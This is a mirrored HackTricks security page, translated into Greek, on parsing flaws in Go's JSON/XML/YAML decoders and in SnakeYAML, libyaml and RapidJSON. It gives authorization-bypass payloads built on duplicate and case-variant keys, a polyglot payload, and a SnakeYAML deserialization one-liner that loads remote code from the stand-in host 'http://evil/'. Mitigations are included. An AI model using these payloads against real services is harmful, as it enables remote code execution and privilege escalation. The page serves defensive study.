mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
165 lines
9.1 KiB
Markdown
165 lines
9.1 KiB
Markdown
# JSON, XML & Yaml Hacking & Issues
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Go JSON Decoder
|
||
|
||
Οι παρακάτω προβλήματα ανιχνεύθηκαν στο Go JSON αν και θα μπορούσαν να είναι παρόντα και σε άλλες γλώσσες. Αυτά τα προβλήματα δημοσιεύθηκαν σε [**αυτή την ανάρτηση στο blog**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).
|
||
|
||
Οι αναλυτές JSON, XML και YAML του Go έχουν μια μακρά πορεία ασυνεπειών και ανασφαλών προεπιλογών που μπορούν να εκμεταλλευτούν για να **παρακάμψουν την αυθεντικοποίηση**, **κλιμακώσουν προνόμια** ή **εξάγουν ευαίσθητα δεδομένα**.
|
||
|
||
### (Un)Marshaling Unexpected Data
|
||
|
||
Ο στόχος είναι να εκμεταλλευτεί δομές που επιτρέπουν σε έναν επιτιθέμενο να διαβάσει/γράψει ευαίσθητα πεδία (π.χ., `IsAdmin`, `Password`).
|
||
|
||
- Παράδειγμα Δομής:
|
||
```go
|
||
type User struct {
|
||
Username string `json:"username,omitempty"`
|
||
Password string `json:"password,omitempty"`
|
||
IsAdmin bool `json:"-"`
|
||
}
|
||
```
|
||
- Κοινές Ευπάθειες
|
||
|
||
1. **Απουσία ετικέτας** (χωρίς ετικέτα = το πεδίο αναλύεται ακόμα από προεπιλογή):
|
||
```go
|
||
type User struct {
|
||
Username string
|
||
}
|
||
```
|
||
Πληροφορία:
|
||
```json
|
||
{"Username": "admin"}
|
||
```
|
||
2. **Λάθος χρήση του `-`**:
|
||
```go
|
||
type User struct {
|
||
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
|
||
}
|
||
```
|
||
Πληροφορία:
|
||
```json
|
||
{"-": true}
|
||
```
|
||
✔️ Σωστός τρόπος για να αποκλείσετε το πεδίο από το να (απο)μαρσαριστεί:
|
||
```go
|
||
type User struct {
|
||
IsAdmin bool `json:"-"`
|
||
}
|
||
```
|
||
### Διαφορές Αναλυτών
|
||
|
||
Ο στόχος είναι να παρακαμφθεί η εξουσιοδότηση εκμεταλλευόμενοι το πώς διαφορετικοί αναλυτές ερμηνεύουν το ίδιο φορτίο διαφορετικά όπως σε:
|
||
- CVE-2017-12635: Παράκαμψη Apache CouchDB μέσω διπλών κλειδιών
|
||
- 2022: Zoom 0-click RCE μέσω ασυνέπειας αναλυτή XML
|
||
- GitLab 2025 SAML παράκαμψη μέσω ιδιαιτεροτήτων XML
|
||
|
||
**1. Διπλά Πεδία:**
|
||
Ο `encoding/json` του Go παίρνει το **τελευταίο** πεδίο.
|
||
```go
|
||
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
|
||
fmt.Println(req.Action) // AdminAction
|
||
```
|
||
Άλλοι αναλυτές (π.χ., Jackson της Java) μπορεί να πάρουν το **πρώτο**.
|
||
|
||
**2. Αδιαφορία Περί Περίπτωσης:**
|
||
Το Go είναι αδιάφορο ως προς την περίπτωση:
|
||
```go
|
||
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
|
||
// matches `Action` field
|
||
```
|
||
Ακόμα και τα κόλπα Unicode λειτουργούν:
|
||
```go
|
||
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
|
||
```
|
||
**3. Διαφορετικότητα διασύνδεσης υπηρεσιών:**
|
||
Φανταστείτε:
|
||
- Proxy γραμμένο σε Go
|
||
- Υπηρεσία AuthZ γραμμένη σε Python
|
||
|
||
Ο επιτιθέμενος στέλνει:
|
||
```json
|
||
{
|
||
"action": "UserAction",
|
||
"AcTiOn": "AdminAction"
|
||
}
|
||
```
|
||
- Python βλέπει το `UserAction`, το επιτρέπει
|
||
- Go βλέπει το `AdminAction`, το εκτελεί
|
||
|
||
|
||
### Σύγχυση Μορφής Δεδομένων (Polyglots)
|
||
|
||
Ο στόχος είναι να εκμεταλλευτούμε συστήματα που αναμειγνύουν μορφές (JSON/XML/YAML) ή αποτυγχάνουν να κλείσουν σε σφάλματα αναλυτή όπως:
|
||
- **CVE-2020-16250**: Το HashiCorp Vault ανέλυσε JSON με έναν αναλυτή XML μετά την επιστροφή JSON από το STS αντί για XML.
|
||
|
||
Ο επιτιθέμενος ελέγχει:
|
||
- Την κεφαλίδα `Accept: application/json`
|
||
- Μερικό έλεγχο του σώματος JSON
|
||
|
||
Ο αναλυτής XML του Go το ανέλυσε **οπωσδήποτε** και εμπιστεύτηκε την εισαγόμενη ταυτότητα.
|
||
|
||
- Δημιουργημένο payload:
|
||
```json
|
||
{
|
||
"action": "Action_1",
|
||
"AcTiOn": "Action_2",
|
||
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
|
||
}
|
||
```
|
||
- **Go JSON** parser: `Action_2` (case-insensitive + last wins)
|
||
- **YAML** parser: `Action_1` (case-sensitive)
|
||
- **XML** parser: parses `"Action_3"` inside the string
|
||
|
||
---
|
||
|
||
## Σημαντικές Ευπάθειες Παρσέρ (2023-2025)
|
||
|
||
> Τα παρακάτω δημόσια εκμεταλλεύσιμα ζητήματα δείχνουν ότι η ανασφαλής παρσάρισμα είναι ένα πρόβλημα πολλών γλωσσών — όχι μόνο πρόβλημα του Go.
|
||
|
||
### SnakeYAML Deserialization RCE (CVE-2022-1471)
|
||
|
||
* Αφορά: `org.yaml:snakeyaml` < **2.0** (χρησιμοποιείται από Spring-Boot, Jenkins, κ.λπ.).
|
||
* Αιτία: `new Constructor()` αποσυναρμολογεί **τυχαίες κλάσεις Java**, επιτρέποντας αλυσίδες gadget που καταλήγουν σε εκτέλεση απομακρυσμένου κώδικα.
|
||
* One-liner PoC (θα ανοίξει την αριθμομηχανή στον ευάλωτο υπολογιστή):
|
||
```yaml
|
||
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
|
||
```
|
||
* Διόρθωση / Μετριασμός:
|
||
1. **Αναβάθμιση σε ≥2.0** (χρησιμοποιεί `SafeLoader` από προεπιλογή).
|
||
2. Σε παλαιότερες εκδόσεις, χρησιμοποιήστε ρητά `new Yaml(new SafeConstructor())`.
|
||
|
||
### libyaml Double-Free (CVE-2024-35325)
|
||
|
||
* Επηρεάζει: `libyaml` ≤0.2.5 (C βιβλιοθήκη που χρησιμοποιείται από πολλές γλώσσες).
|
||
* Ζήτημα: Η κλήση `yaml_event_delete()` δύο φορές οδηγεί σε διπλή απελευθέρωση που οι επιτιθέμενοι μπορούν να μετατρέψουν σε DoS ή, σε ορισμένα σενάρια, εκμετάλλευση σωρού.
|
||
* Κατάσταση: Ο upstream το απέρριψε ως “κακή χρήση API”, αλλά οι διανομές Linux παρέδωσαν διορθωμένη έκδοση **0.2.6** που μηδενίζει τον δείκτη αμυντικά.
|
||
|
||
### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
|
||
|
||
* Επηρεάζει: Tencent **RapidJSON** πριν την δέσμευση `8269bc2` (<1.1.0-patch-22).
|
||
* Σφάλμα: Στη μέθοδο `GenericReader::ParseNumber()` η μη ελεγχόμενη αριθμητική επιτρέπει στους επιτιθέμενους να δημιουργήσουν τεράστιες αριθμητικές λεκτικές που περιτυλίγονται και διαφθείρουν τον σωρό — τελικά επιτρέποντας την κλιμάκωση προνομίων όταν το προκύπτον αντικείμενο χρησιμοποιείται για αποφάσεις εξουσιοδότησης.
|
||
|
||
---
|
||
|
||
### 🔐 Μετριασμοί (Ενημερωμένο)
|
||
|
||
| Κίνδυνος | Διόρθωση / Σύσταση |
|
||
|-------------------------------------|------------------------------------------------------------|
|
||
| Άγνωστα πεδία (JSON) | `decoder.DisallowUnknownFields()` |
|
||
| Διπλά πεδία (JSON) | ❌ Καμία διόρθωση στη stdlib — επικυρώστε με [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
|
||
| Αντιστοίχιση χωρίς διάκριση πεζών-κεφαλαίων (Go) | ❌ Καμία διόρθωση — επικυρώστε τις ετικέτες δομής + προ-κανονικοποιήστε την είσοδο |
|
||
| XML σκουπίδια δεδομένα / XXE | Χρησιμοποιήστε έναν σκληρυμένο αναλυτή (`encoding/xml` + `DisallowDTD`) |
|
||
| YAML άγνωστα κλειδιά | `yaml.KnownFields(true)` |
|
||
| **Μη ασφαλής αποσυμπίεση YAML** | Χρησιμοποιήστε SafeConstructor / αναβαθμίστε σε SnakeYAML ≥2.0 |
|
||
| libyaml ≤0.2.5 διπλή απελευθέρωση | Αναβαθμίστε σε **0.2.6** ή σε έκδοση με διορθώσεις διανομής |
|
||
| RapidJSON <διορθωμένη δέσμευση | Συγκεντρώστε κατά την τελευταία RapidJSON (≥Ιούλιος 2024) |
|
||
|
||
## Αναφορές
|
||
|
||
- Baeldung – “Επίλυση CVE-2022-1471 με SnakeYAML 2.0”
|
||
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|